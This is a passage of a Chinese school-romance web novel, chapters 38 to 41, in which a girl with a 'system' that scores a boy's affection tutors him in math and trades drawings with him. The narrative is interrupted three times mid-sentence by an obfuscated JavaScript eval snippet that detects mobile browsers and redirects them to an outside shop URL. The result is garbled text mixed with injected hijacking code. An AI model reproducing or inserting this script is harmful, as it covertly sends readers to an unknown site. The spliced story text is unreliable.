小雪:「我没做什么,我……挺唐突的。最后是他自己和阿姨好好解释,还有齐老师,他应该也帮你说话了。」 李闻蝉没再和她论下去,很快转移话题:「有没有什么想要的?」 池映雪:? CHAN:「你生日快到了吧。」 他居然会知道! 池映雪的大脑空白一瞬,下意识道:「不用了,我已经收到过很珍贵的生日礼物了。」 「就是来到五班,认识你们。」 她低着头慢吞吞地打字,有些羞耻,脸渐渐红起来。 李闻蝉的手指敲击着屏幕,尤其是对面白框里的那个“你”字,把手机举起来凑近一些,来回端详,半阖长眸,梨涡隐现。 [叮!攻略对象好感+0.5。] CHAN:「那不算,再想。」 池映雪皱起眉,很快舒展开。 小雪:「我想到了!」 小雪:「要不,我们来讨论数学题吧!」 李闻蝉了然的笑意僵在脸上。 他看了眼输入框里还未发送的话。 「想到了?陪你出去玩还是|」 李闻蝉装作没事一样,默默删掉。 午自习齐幂留在五班,晚自习就去了一班,章子健坐在台上维持纪律。 他如同一位小老师,意外的很有威严,板着脸在上面一坐,教室里十分安静,都自觉地做题。 ——除了一二组倒数两排。 章子健写完一道题,抬眼环顾整个教室,目光定在那个位置,幽幽地叹了口气。 他们倒是没发出声音,就是…… 池映雪搬了椅子坐去李闻蝉旁边。万苏瑶有学有样,和胡挚挤在一起,这两个人还直接把椅子转了个方向,对着后排坐。 章子健重重咳嗽了一声。 无人在意。 章子健:……笑一下算了。 他心里甚至有些痒,这几个人凑一块玩什么呢?打牌?四排? 有蝉哥和胡挚在,总不能是学习吧? 最后一排,池映雪也不打算讲别的,就把月考卷子翻出来,指着第一道大题。 「这道题是课本例题的变形,我昨天刚想到一种更简单的思路。你先写,写完了我和你讲一下我的方法。」 李闻蝉点点头,找到自己空白的答题卡,提笔就开始在题干上划线,圈出已知条件。 池映雪:挺像样的嘛。 李闻蝉圈完了,先写一个解,黑色中性笔在后面点了两下,合上笔盖。 池映雪:? 李闻蝉目光在桌面上游走,左手撑在膝盖上摩擦两下,战略性清清嗓子,又恢复了吊儿郎当的模样。 他单手开笔盖,落下几个龙飞凤舞的字:「不会了。」 池映雪:…… 好吧。 她早该想到的。 池映雪无声叹息,认命般从他压着答题卡的手里一点点把纸抽过来,选了一根蓝色笔,把思路和书上的定理揉碎了写下来。 课桌不大,她写字的时候往右靠了一点,离李闻蝉比美术课上的距离更近。 莹润的侧脸弧形流畅,雪白的耳朵藏在鬓边碎发下,其余头发半扎半披,扎起的那部分在脑后挽了个结,麻花辫一样的打结处用两枚小花发卡固定。 ……似乎是和昨天看见的发型不太一样。 李闻蝉打开杯子仰头喝了一大口,弯腰找出数学书,靠在椅背上阅读。 胡挚对万苏瑶耳语:“他俩今天抽什么风?” 雪神要给蝉哥讲题。 蝉哥不仅同意,现在还在看数学书! 胡挚整个人都不好了。 万苏瑶回头看了眼章子健,用气音回他:“小雪这叫先富带动后富,精准扶贫。” 胡挚:“原来如此,雪神真是慈悲为怀啊!” 李闻蝉:………… 他俩的声音还敢再小点吗? 胡挚:“话说池映雪真的很会讲题诶,上次她给章子健写压轴题的步骤,据说让他把那个什么高数里的柯西公式都搞懂了。” “是柯西中值定理吧,我也听他说了。” 万苏瑶满眼崇拜,“学习好真是上大分,我以后找男友就要找小雪这样的男生,她给我写步骤的时候,就算我脑子一时转不过弯来也耐心好脾气,掰开了细细讲,整个人都在发光!” 胡挚睨她:“你这是找男友还是找家教啊?” 万苏瑶:“成绩好当然是加分项啊!我们几个之前还聊过这个话题,就算是看小说追电视剧,也会更偏爱那种年级第一的男主角呢。” “你想想,一个高岭之花,清冷孤傲不似凡人,如一缕流风穿过女主角的懵懂青春,成为她眼里的光。” 万苏瑶猛然抚上锁骨,“然后,‘光’从怀里掏出一张66分的数学卷子。” 她一下就祛魅了好吗? 李闻蝉沉默地用笔袋盖住数学答题卡上的“65”。 胡挚嘴硬:“那光找成绩好的也不顶用啊,男女主凑一对天天干嘛,聊柯西什么定理吗?” “所以说是加分项嘛。”万苏瑶道,“还有你们俩现在差的是高数吗?是高中数学必修一。” 李闻蝉:不是,怎么又带我。 他瞥向池映雪,她刚好写完最后一行步骤,回眸与他对视。 李闻蝉从她手里接过答题纸,凝望着第一道大题区域里满满的工整字体,眼神有些放空。 他的领悟能力倒是很好,“预习”过课本,对照池映雪的过程,很快就弄懂。 [叮!攻略任务“和男主讨论数学大题”已完成。] 池映雪眼前弹出电子屏的时候都抬起了眉,居然这么快就会了?! 系统得意道:[那当然了,我们天道选中的男主,哪个不是智商超群、天赋异禀的?] 它就说嘛,男主大人日后在豪门商战里都能游刃有余,还会怕这小小高中数学题? 池映雪撇撇嘴,不再理它,翻开黄色封皮的小题狂做练习。 她忘记了这是李闻蝉的座位,越做越投入,遇到一道没思路的题,随手抽一张草稿纸就摆在习题册右边演算。李闻蝉也不提醒,数学课本翻开搭在大腿,椅子后移,为她让出位子。 突然,李闻蝉伸手点了点万苏瑶的草稿本。 “你刚才说大家都更喜欢成绩好的。” 他漫不经心道,“那要是谁成绩不好,甚至很烂,还有人喜欢……” 万苏瑶脱口而出:“真爱没跑了。” [叮!攻略对象好感+1。] [当前男主好感:38.5。] 李闻蝉的数学课本啪一声掉在地上。 池映雪笔尖一颤,闻声侧头,只看见一只迅速低下捡书的头颅,浓密而蓬松的黑发遮住眉眼,依稀可见泛红的耳尖。 模糊的吐槽声别别扭扭。 “什么真爱……爱不爱的,才高中呢…………” “啧。” 池映雪:这几个人刚都聊了些什么?? 不过,他好像快要“认可”她了。 现在是友好,那认可就代表着——好友? 晚上回家后,池映雪才看见穆雨阳给她发的消息。 雨后阳光:「今天真的太谢谢你了!」 雨后阳光:「哦对,我把你主动帮忙的事告诉蝉哥了。」 小雪:「嗯,我已经知道了,不客气的。」 雨后阳光:「你知道了啊?蝉哥说的?」 他也没纠结答案,兴冲冲地发来一连串消息:「你和蝉哥关系不错吧!我就说蝉哥这么好的人早该有更多朋友了,好多人轻信那些谣言,觉得他凶残不敢接近,真的很莫名其妙对吧?」 池映雪:…… 怎么办,她曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635258|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像也是其中一员诶。 小雪:「嗯。」 小雪:「但他确实是有校霸那种气质吧?」 雨后阳光:「你见过乖乖罚站写检讨、每天按时到校的校霸吗?」 雨后阳光:「还记得我白天和你提的那场打架吗?」 穆雨阳今天倾诉欲爆棚,对她娓娓道来。 穆筝在察觉到穆雨阳是学习这块料后,咬咬牙攒了笔钱,安排他从老家来南城最好的虹文中学就读,幸好穆雨阳争气,刚入校就拿到了贫困奖学金,分担了大部分学费。 也是因此,同班的几个男生盯上了他。 穆雨阳直到现在都不知道他哪里碍了他们的眼,那几个人家境小康,并没有和他竞争奖学金,成绩在一班也只是中下游。然而他们会在穆雨阳的抽屉里塞虫子,潜入他的宿舍翻看记账本,拍照发在空间里嘲笑,后来还在楼道里围堵他,让他交出剩下的奖学金。 那天是周六夜晚,走读生和老师按理来说都已经回家,只有穆雨阳这样的住校生在教室写作业。穆雨阳走的很晚,一楼的楼梯口都再无别人。 他几乎绝望。 就在这时,从花园通往这栋教学楼的必经之路,一个人影由远及近。 穆雨阳第一次见到李闻蝉。冷漠又高傲,像极了那阵子论坛里热议的“虐猫事件”主人公的模样。 他记得那个帖子里全在猜测“lwc”的名字,帖子很快被封掉,又被小部分人阴谋论是池家出手压下。然而他面前这个锐狂的少年,怀里正抱着一只小猫。 猫咪亲昵地在他怀里撒娇,极其依赖。 李闻蝉对欺负他的人说:“你们挡道了,让开。” 那几个人应该没认出来他,骂了几句,李闻蝉把猫轻柔地放下,三两下就打趴下了那些人。最后…… 被穆雨阳刚才偷偷发消息招来的保安当场抓住,和那几个人一起全校通报。 雨后阳光:「然后我就赖上了蝉哥!先是自称小弟,结果蝉哥不收;后来用剩下的奖金给他买吃的喝的,他也不要,死缠烂打好久才成为我蝉哥的朋友,嘿嘿!」 「哦对了,虐猫的人是在校外那种空巷子里施暴,蝉哥意外发现后报了警,但没忍住揍了他一顿,结果被路过的邻校人拍了,传到他们中学的贴吧里。那家伙没人知道,倒是以讹传讹说蝉哥浴血打人。」 穆雨阳义愤填膺:「我真服了!!」 池映雪回想起上次在饮品店里和苹安、裴景的聊天,好像他们当时和她说的就是这个事。 看来流传的是很广,连七中人都知道了。 小雪:「没有人帮他解释吗?他自己呢?」 雨后阳光:「……」 雨后阳光:「我也想啊,但是澄清跑断腿,没人愿意听。我跟蝉哥说,蝉哥表示他不缺那几个朋友。」 池映雪抿抿唇,趴在桌上,静静地上划屏幕,反复看穆雨阳的消息。 她退出聊天框,向下翻到李闻蝉的。 自从聊一周不间断的任务做完后,除开面对面交流,她就没再和他发过企鹅了,火苗早就变成灰黑色。 小雪:「李闻蝉。」 五分钟后。 CHAN:「?」 池映雪觉得自己有一肚子话想说,却一个拼音也打不出来。 池映雪纠结地戳了戳手机,硬着头皮打字:「你在干什么呀?」 CHAN:「打游戏。」 池映雪听万苏瑶说过打游戏最忌讳别人打岔,连忙尴尬道:「没事,哈哈,你接着忙吧。」 「晚安。」 果然没再得到回复。 肯定是打扰到他了,哎。 等池映雪上床的时候,电子屏猛地一下弹出来。 [叮!攻略对象好感+0.5。] [当前男主好感:39。] 关灯后漆黑的房间里,正在充电的手机发出微光。 CHAN:「晚安,池映雪。」 39. 第 39 章 跑操前,胡挚和李闻蝉在跑道旁的空地热身。 胡挚:“蝉哥,你昨晚打游戏不在状态啊!” 李闻蝉:“……是吗。” 就在这时,万苏瑶和池映雪一人抱着几瓶蓝绿色的塑料瓶姗姗来迟。 万苏瑶:“来来来,我妈看直播买了8箱盐汽水,想喝的自己来拿!” 胡挚嬉皮笑脸地凑过去:“我来一瓶,蝉哥来一瓶。” 李闻蝉单手稳稳接住胡挚抛来的水瓶,拧开瓶盖,扫向正在跟着万苏瑶分发的池映雪。 他把瓶盖拧回去,懒洋洋地拎在手里,随意靠在树干上。 胡挚刚要仰头,也发现她们没有自留。 “咋发完了?你俩不喝啊?” 他怀疑地来回看手里的水瓶和万苏瑶,“不会很难喝吧?” 万苏瑶把盐汽水抢过来,爆他的头:“你以为谁都和你一样缺德!” “我和小雪的在教室里,喝了几口才下来。” 穆雨阳刚到操场,接过池映雪手里的最后一瓶。 他朝她眨眼,池映雪想起昨晚的对话,二人心照不宣地笑了笑。 呲。 盐汽水瓶打开,李闻蝉仰头喝了一大口,喉结滚动,举高瓶子眯起眼看包装纸上的文字。 哦,柠檬味的。 柠檬香精加的有点多了。 “穆雨阳。” “诶,蝉哥!” 穆雨阳过来就是找他玩的,亮着眼睛奔过去,“怎么了!” 李闻蝉撇了撇嘴角,用瓶子抵住他即将扑过来的额头。 “快跑操了,你不回一班?” 穆雨阳可怜巴巴:“那不是还有好几分钟吗?” 他又看了一眼池映雪。 “对了蝉哥,和你说个好玩的。” 池映雪和万苏瑶在手机上讨论今天中午吃什么,感受到一股强烈的视线,疑惑地抬起头,李闻蝉正一脸无语地望着她。 胡挚已经在旁边笑得捂肚子,穆雨阳更是肩膀抽动。 “鹅鹅鹅鹅鹅鹅!‘校霸’,谁想出的这个词,太有才了!”胡挚笑得像一只大鹅。 萌萌姐知道她动辄罚全校的霸王去罚抄和扫走廊吗? 她居然敢忤逆一个校霸的尊严! “雪神真是太萌了……” 李闻蝉似笑非笑道:“我在你们雪神心里就是这样的形象啊,校园霸王?” 池映雪突然明白了什么,赶紧红着脸摆摆手。 之前是那么想的嘛,但现在不是了。 ……谁叫小说里就那么写,男主角的学生时代本来就是叱咤风云的校霸,睥睨众生,桀骜难驯,还有衷心追随的“小弟”。再说,他不熟的时候就是很冷很凶呀。 万苏瑶:“什么校霸,你们在说什么?” “没啥,就是池映雪觉得蝉哥是校霸。”胡挚擦了擦眼泪,“真情实感的那种。” 万苏瑶目移。 要不是最近熟了一点,她也…… “我明白了。”万苏瑶一手握拳砸在另一只手心,“是看小说看的吧,小雪最近一直在看校霸文,可能觉得李闻蝉和里面的男主有点像。” 李闻蝉悠闲晃着盐汽水瓶的动作骤停,抬起眉骨,恍然大悟般扬了扬唇。 难怪…… 池映雪被他莫名其妙的嘚瑟眼神看得发毛,钻到万苏瑶身边。 万苏瑶已经打开了学校论坛,点开收藏夹:“真不是我瞎说啊,本来就有好多人这么想,我还收藏过学校的同人文集锦,里面就有写你蝉哥是校霸的。” 不过只是作为配角一晃而过,没人敢给他配cp,怕被盯上。 即便是这样,人气也一骑绝尘。 胡挚:“同人文?” “对呀,好多人都有,你看。” 万苏瑶刷新界面,发现了一篇之前没见过的,“虎子!这里居然还有你和穆雨阳!!” 胡挚:??! 池映雪不明所以,凑近屏幕一看。 《那个总是和我抢大哥的小弟》。 【黑皮体育型阳光差生x端庄清寒模范优等生。】 万苏瑶:“你俩还有CP名,‘雨挚抹茶’!” “哎哟,我不行了。”她把手机给懵懵懂懂的池映雪,“笑的肚子疼。” 池映雪帮万苏瑶揉肚子,笑着看了一眼怀疑人生的胡挚,忍不住悄悄回头,接着偷看正文。 说实话,文笔还不错。 里面熟人不少,匿名作者起码很熟悉一班。池映雪滑动屏幕的速度不快不慢,短短时间,已经看到了邢芷、齐幂,还有池鲤鲤和沈星桥,他们在这篇文中也是一对。 池映雪的手指突然停了一下,然后更快速地滑到下面。 刚才的部分是写她的,她没多看,反正是作为不太美好的配角出场。 “有什么好看的。” 耳后响起平静的低音,像是反重力的牵引。 修长的手指很轻松便抽走手机,池映雪踮起脚尖,掌心抬了抬,回眸但见李闻蝉垂着头,不知何时站在她身后。 李闻蝉直接按灭屏幕,用手机敲了敲池映雪的脑袋,露出顽劣的笑。 一瞬间,她都分不清他是看见了屏幕里的内容,还是单纯地逗她玩。 胡挚幽怨地望了他俩一眼,蹲在地上画圈圈。 他都这样了,他们竟然还在抢手机玩。 他再也不要叫池映雪雪神了! 胡挚:“什么叫阳光差生!” “看了这些东西,我这一生的阳光都要没有了。” “没事。”万苏瑶重新直起腰,指着刚扔瓶子回来的穆雨阳,“喏,你的阳来了。” 穆雨阳:? 第二节课,齐幂准点进入教室,照常上课。 一道例题讲完,他留出三分钟时间让学生整理,面瘫脸略有波动,忍不住又一次看向一组最后一排。 池映雪也是。 上节生物课就算了,这节可是数学,李闻蝉居然没有睡。 不仅如此,也没有看漫画,没有打游戏。 秋日早晨将落不落的暖光斜斜地铺在身上,空气中弥漫淡金色颗粒,光中的少年直挺挺坐在位置上,眉眼漂亮锐气,认真阅读着数学必修一的课本。 这道例题池映雪了然于心,不必整理,前排的万苏瑶应该也是。池映雪仔细钻研了一番手边的盐汽水,传出一张小纸条。 「瑶瑶,这个盐汽水里有抑眠的成分吗?」 就像咖啡或者薄荷那样。 池映雪听见右侧一声冷笑,偏过头,李闻蝉一个眼神都没分来。 下了课,她才收到李闻蝉的消息。 「瞧不起谁呢?」 「我就不能好好学习吗。」 池映雪震惊地瞧过去,李闻蝉手撑脑袋,正对着她晃晃手机,不羁地勾了勾嘴角。 CHAN:「还有啊。」 「我们现阶段最主要的任务就是学习, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635259|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要分心。」 李闻蝉打字的速度越来越慢,把手机从桌面拿到桌子下面,扫了一圈,四周没人看过来,他才接着低头。 「有什么等高考后再说。」 李闻蝉望着窗户上自己的倒影,无可奈何地轻摇头,含笑叹了口气。 胡挚原本转过来,想让他帮忙量手围,见状转了回去。 ……见鬼了。 池映雪:李闻蝉什么时候有这样高的思想觉悟? 真的很难想象这种话会从他嘴里说出来,她不由感慨自己认知的浅薄。 士别三日……不,一日都不到,他就脱胎换骨了。 该说不愧是男主吗。 万苏瑶的选修分别是戏剧鉴赏和轮滑,正在奋笔疾书的补戏剧鉴赏老师上周留的小作业。 老师要求她们每人交一份课件内戏剧的赏析文章,池映雪帮她润稿,梳理逻辑,不可避免地想起上周的美术选修。 转眼又是周四了,今天下午又要去上课。 不知道是不是因为在天台上李闻蝉说她可以介意的缘故,池映雪心里还真的有些不舒服,难得对上课产生了抵触的情绪。 李闻蝉在座位上一会儿“啧”一声,一会儿抓抓头发,池映雪完全当成耳旁风。 骨节分明的大手掀起书中间一页,按出一个角然后往下压,白纸上出现一道浅灰色的闪电。 胡挚:“差点忘记这是大课间了,蝉哥,小卖部去吗?” 李闻蝉的书已经千疮百孔,长叹一声:“走。” 出了门,他左右看看,凑近胡挚,压低声音:“你觉得,如果一个女生觉得一个男生像小说男主,是不是……?” 李闻蝉红唇闭上,没说下去,偏了一下头,用眼神暗示。 胡挚现在听到类似“小说”的字就浑身起鸡皮疙瘩,差点跳起来,好一会儿才反应过来。 “那要看是什么小说吧。”要是像他那篇同人那种…… 李闻蝉脸一下子就黑了。 李闻蝉哼了一声,傲娇地离胡挚远了点,清清嗓子,抬着下巴强调:“青春校园文的男主。” 他飞快补充,“男女主角。” 胡挚没兴致地随口接道:“哦……那这个女生应该有点喜欢男生吧。” 李闻蝉步伐轻快,哼起旋律,没说是也没说不是。 狭长的眼睛弯起来,映着橘调光影,在临下楼时回望不远处的教室一眼。 池映雪人在教室坐,电子屏从天上弹出。 [叮!攻略对象好感+0.5。] [当前男主好感:39.5。] 那点小不快瞬间被抛之脑后,池映雪开心地问系统:“到了40好感,我的听觉和发声会是什么样的?” 她觉得20%好感度的奖励没什么实际作用,但起码可以证明系统所言非虚,能听到微末,已经是奇迹。 系统想起不靠谱的上级,都没好意思说20%奖励的效果不佳是因为在大部分攻略计划里,对象都很正常。 就算是一点关系都没有的人,不作妖、不惹人厌,多聊几句也能达到“友善”了。 它只能干巴巴道:[宿主接着努力吧。] [20%主要是让你感受一下听觉的诞生。到达40%的时候,你应该就可以发出微弱的声音了,但是和所有听障人士一样,刚开始发声会疼痛和嘶哑。] 系统犹豫半天,问池映雪:[宿主现在还是不打算和男主有更深层面的发展吗?] 40. 第 40 章 池映雪的呼吸变慢,继而十分急促。 “当然不会了。” 她转着盐汽水瓶,冰蓝绿色的透明塑料瓶在桌面上透射亮色的光,“我们可是朋友呀,看好感度就知道他不喜欢我,我也不喜欢他。” 系统:[那也没事,宿主只要不喜欢沈星桥就好。] 池映雪腹诽,它再天天这样念下去,激活她体内的反骨,她不喜欢都快被他说成喜欢了。 万苏瑶终于写完小作文,嘻嘻哈哈地掏出手机,给秋怡她们展示今早的同人大作。 “嗯??” 万苏瑶狠狠戳着屏幕,拍打手机,“怎么没有了?!我那么大一篇文呢!” 她还没来得及点进去观赏呢! 没有它,她拿什么笑话胡挚? 秋怡边笑边对池映雪解释,末了猜测:「会不会是虎子或者穆雨阳嫌丢人,举报了?」 池映雪沉吟半晌,看了眼空荡的座位,点进虹文的校内论坛。 啊,找到了。 【管理区】的“管理投诉簿”里,投诉违规帖的最新一条赫然是《那个总是和我抢大哥的小弟》。 申诉理由:恶意丑化学生形象,侵害他人名誉,影响恶劣。 申诉结果:情况属实,现对该帖进行封禁,整改后需通过人工审核通道方可重新发帖。 池映雪的视线滑到最下方。 申诉人:99。 鉴于李闻蝉说自己要好好学习重新做人,胡挚也跟着凑热闹,池映雪决定帮他们挑几本教辅和针对性练习,从头学起。 中午几人一起吃饭,之后到虹文对面的信华书店。 一进门,胡挚习惯性溜到CD区。 万苏瑶解释:「虎子除了打游戏就爱听歌,尤其是中式R&B,周董、吉吉、斌斌……」 池映雪有些羡慕地看着那片区域,只短短几眼便收回视线,上二楼去选教辅。 李闻蝉本来跟在后面,转悠了半天,发现自己实在帮不上什么忙,还因为肩宽体长,耽误池映雪在题海里来回穿梭,只能摸摸鼻子去楼下找胡挚。 池映雪给他们选了一些基础的参考书,还有经典的《天利3x套》《小题狂做》《语文基础知识大全》和《新x方四级词汇》等,和万苏瑶一人抱一沓。 池映雪:早知道就不把人赶走了。 话说那两个人呢? 楼下。 李闻蝉和胡挚对书店的构造极其不熟悉,到处瞎走,来到了一面五颜六色的墙下。 抬头一看——“校园小说区”。 李闻蝉左眼皮微动,停下脚步,抽出一本开封过的小说试读。 胡挚探头去看他手里这本的封面,嚯! “巧了,这不就是今早上她们说的校霸文?” 李闻蝉随意翻开其中某页,两个脑袋凑在一块看。 “甜小软刚打开教室门,就迎面撞上一个钢铁般的身躯。她的眼眶染上水润的红,想要跑开,却被冷傲狂拽的姬玖夜吐了一口烟。 姬玖夜:‘招惹了我,还想跑?’” 李闻蝉:“……” 胡挚:“……原来这就是校霸!” “虹文规定学生在校内抽烟要处分,当众检讨。” 李闻蝉把这本放回去,换了一本,“这本太脱离现实了,不作数。” 第二本倒是正常很多,男主虽然一口一个“老子”,但好歹没有乱纪。 李闻蝉勉强翻下去,看见对男主天神般容貌的描写,抿嘴抬唇角,笑容一直持续到看见女主因为考太差被老师罚抄公式。 “让所有人闻风丧胆”的男主“如天神降临”,对老师睥睨道:“她,老子的人,还罚吗?” 老师立马点头哈腰,瑟瑟发抖:“不!少爷,请把人领走!” 胡挚精准点评:“要是换了萌萌姐,非给这少爷好好上一‘课’不可。” 李闻蝉一阵恶寒,不信邪地换了第三本。 这次他吸取教训,挑了一本封面干净、设计清新的。 刚翻到正文第一页就是擦边球限制级,满页嗯啊。 李闻蝉迅速合上书,做贼一样放回书架。 不是。 和男主亲的那个人也不是封面上写的那个女主啊? 胡挚:“这种我听万苏瑶她们说过,很久前流行过男主和女主之外的各种女配亲,但只有女主才会给他心动的感觉。” “受欢迎的校霸嘛,浪子回头!” 李闻蝉:“……………” 池映雪给自己选了两本名著,塞进手臂的小山里,又在文具区的书签、信纸、彩墨前驻足,猝不及防地收到系统的播报。 [警告!攻略对象好感-0.5。] [警告!攻略对象好感-0.5。] [警告!攻略对象好感-0.5。] 池映雪:??? 他俩到底在干什么! 李闻蝉给教辅结账的时候,顺便把池映雪要买的也付了款。 他输支付密码的时候,池映雪在旁边鼓着腮帮,心不在焉地把书籍分别装进两个塑料袋里。 结果体育大课跑完步回来,才发现有两本书装错了。 体育大课是几个班一起上,李闻蝉和胡挚去一班的队伍里找穆雨阳了。 池映雪才不想等他回来正面对上,目光瞥见右手抽屉里露出来的塑料袋一角,轻手轻脚地走过去。 池映雪在李闻蝉的椅子上坐下,理了理裙摆,捏着拳心虚了片刻,扶着碎发弯腰去看抽屉。 塑料袋里的教辅果然还没有被取出,池映雪在里面找到她的名著,将他的四级词汇放进去。 正要起身,忽然发现抽屉里还有一本很大的插画集,是他经常看的那本《篮球飞人》的。 池映雪心生好奇,但没有李闻蝉允许,终究没去翻看,把因为抽动塑料袋弄歪的画集重新摆放端正。 李闻蝉在这时走进后门,看见那个很小只的背影窝在他椅子上。 他挑起眉,唇角上扬,直到目光落在她手里的那本画集上。 李闻蝉满脸飞红,来不及多想便一个跨步冲上去,伸出双手直接站在池映雪身后抢书。 池映雪连解释的机会都没有,两只臂膀就从后环绕过来。 校服袖子挽到肘部,露出小臂莹白色肌肤和浅而有力的筋骨,隐约可见蓬勃的青。 还泛着水色的宽掌在她手背上面一点的距离抓紧画集,指间都泛着粉,将她的手衬托得仅有一小团。 说时迟那时快,万苏瑶和秋怡有说有笑地从办公室回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635260|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万苏瑶走在前,仰头喝掉手里这瓶盐汽水仅剩的一口,刚踏入教室后门就看见这一幕。 从她的角度,李闻蝉从后环住小雪,将她包裹入他宽阔的怀中。 万苏瑶当即转头,满腮帮的水喷出,溅了秋怡一身。 秋怡:“……你特么的是要一口盐汽水喷死我吗?” 视野里有其他人闯入,池映雪如梦初醒。 鼻尖爆发性萦绕柑橘清香,她慌忙松开画集。 李闻蝉也没想到她会突然泄力,厚重的插画集被他高高举起,页与页哗哗展开向下,从中飞出两张偏硬的纸。 池映雪一手接住一张,正好都是空白的背面。 她呆愣愣地抬头看向李闻蝉。 李闻蝉有机会从她手里拿走这两张纸,慢慢伸手,又收回去撑在课桌上。 他低头,用刚用冰水洗过的手凉了凉耳朵,示意她拿走。 池映雪先翻开右手那张纸,是她画的他,上面还有老师的打分,是良好。 怎么会在他这里? 李闻蝉的手臂顿在空中,显然同样想到了上个周的事。 他凝视她低垂的眼睛,月亮一样,今天也是黑白两色,没有红血丝。 她说她画了很久,可他那时。 哎。 李闻蝉深吸一口气,摇头叹惋:“李闻蝉,你太不是个男人了。” ? 池映雪古怪地把这张画放在一边,掀起眼皮看他。 那张得天独厚的浓颜此刻痛心疾首,眉宇深深皱起,眼底写满了自责。 [叮!攻略对象好感+1。] [当前男主好感:39。] 池映雪:……他又发什么疯。 等李闻蝉好不容易自己平复好,她翻过第二张—— 池映雪瞳孔紧缩,视线凝结于素描纸上的那个女孩。 齐刘海,低马尾,肤色很白,在课桌前安静地垂眸看书。 每一根乌黑的碎发都被李闻蝉细腻勾勒,不知道用的是哪个牌子的彩铅,画面带有细细的光泽感,透亮和谐,色彩明媚。 ……好漂亮的她。 右上角老师用红色铅笔写了“优秀”,似乎不想破坏画面,还特意写在最角落。 池映雪从来不知道李闻蝉画画这么厉害,也不知道她原来还能这么漂亮,或者说,胡挚并没有开玩笑。 她在李闻蝉眼里真的有这么漂亮。 这是艺术加工过的吗? 秋风混着桂花香,透过大敞的门凉凉吹过。 池映雪的刘海底部齐齐,被风拂得斜了一点。 右边的碎发沾上睫毛,李闻蝉的手指在桌上点了点,向前弯腰。 池映雪一下子低下头,像只鹌鹑。 头顶传来闷闷的笑,还有他的调侃。 “真服了你。” 李闻蝉笑意微敛,眸光如星,认真了些。 他拈起一只笔,在手里转了转,把她凌乱的刘海拨正又挑偏,整齐或是侧分。 又绕过刘海,将那侧调皮的碎发别在耳后。 “有什么区别。” 他说的是发型。 管她什么发型。 李闻蝉就仗着她听不见,恣意散漫地吐槽:“这不是都蛮好看的嘛。” 41. 第 41 章 语文早读,池映雪手捧便携的必备篇目小册,对着某一页发呆。 纤云弄巧,飞星传恨……忍顾鹊桥归路。 两情若是久长时,又岂在朝朝暮暮。 就在昨天选修课前,沈星桥送给她钢笔,还有一张手写书签。 漂亮清秀的墨迹写着这首词,他说词里恰好有他的名字,想送给池映雪。 池映雪用书本盖着摸出手机,点开企鹅。 StarBridge:「不在一个班真的很可惜。」 语文老师走出教室,胡挚通知喂猫耽误的李闻蝉:「蝉哥快来,老师刚走。」 不一会儿,李闻蝉抱着书包从后门探出半个脑袋。 老师还没回来,讲台空无一人,李闻蝉松了口气。 才说要好好学习就迟到,他有些心虚地看了池映雪一眼,见她做贼一样藏手机。 李闻蝉眨了眨眼,笑着扔书包到桌上。 胡挚喊他去走廊上边晒太阳边背书,李闻蝉拿着和池映雪一模一样的小册子出门,扫到了她面前摊开许久都没变过的页码。 走廊被金色晨阳镀上一层柔光,照得人有些懒洋洋。 李闻蝉翻开对应的页数,眉梢挑起,眼神玩味。 秦观的《鹊桥仙》。 都开始看情诗了? 李闻蝉把册子举起来仰头盯着看,短促顶腮,嘴角难压。 胡挚把课本带出来就往窗台上一丢,趁周围没别人,接着吃早点没吃完的鸡蛋糕,边吃边问:“韩潇是不是回去了?” 李闻蝉应了一声,胡挚叹息道:“可惜了,他这次来回回出门我都有事错过。” “没事,他说要gap一年再去念大学,这次回HK是去办个手续,过阵子还会再来。” 李闻蝉凝思半晌,突然有感而发,“我觉得我差点就被韩潇腐蚀了,不行,等他下次来,我要纠正他那种纸醉金迷的思想。” 胡挚:“?” 李闻蝉:“你看韩潇天天恨不得把全世界的宝石和大LOGO名牌都嵌在身上,被金钱所玷污,满口利益置换,花丛中过,根本不相信这世上有纯真的感情。” “他也不想想,有钱有势有颜值的人那么多,为什么不接近别人,偏偏接近他呢?” 李闻蝉摊开手,翻开的册子被风吹到下一页,李闻蝉又给它翻回去。 “那当然就不是纯为了钱,是图人啊。” 说到最后,他声音渐小,檐外的光似乎变得更暖,“怎么连这点都想不通?太笨了。” 胡挚听得云里雾里,在他蝉哥那张帅脸上看见难以抑制的得意,默了默,赞叹道:“6。” 李闻蝉满意地把小册子拿给他看:“这词写得可以吧?朗朗上口,我都背会了。” 他哥俩好地拍拍胡挚的肩,“虎子,要加油啊。” 胡挚:“…………” 他陌生地望了一眼李闻蝉,眸光中有千言万语。 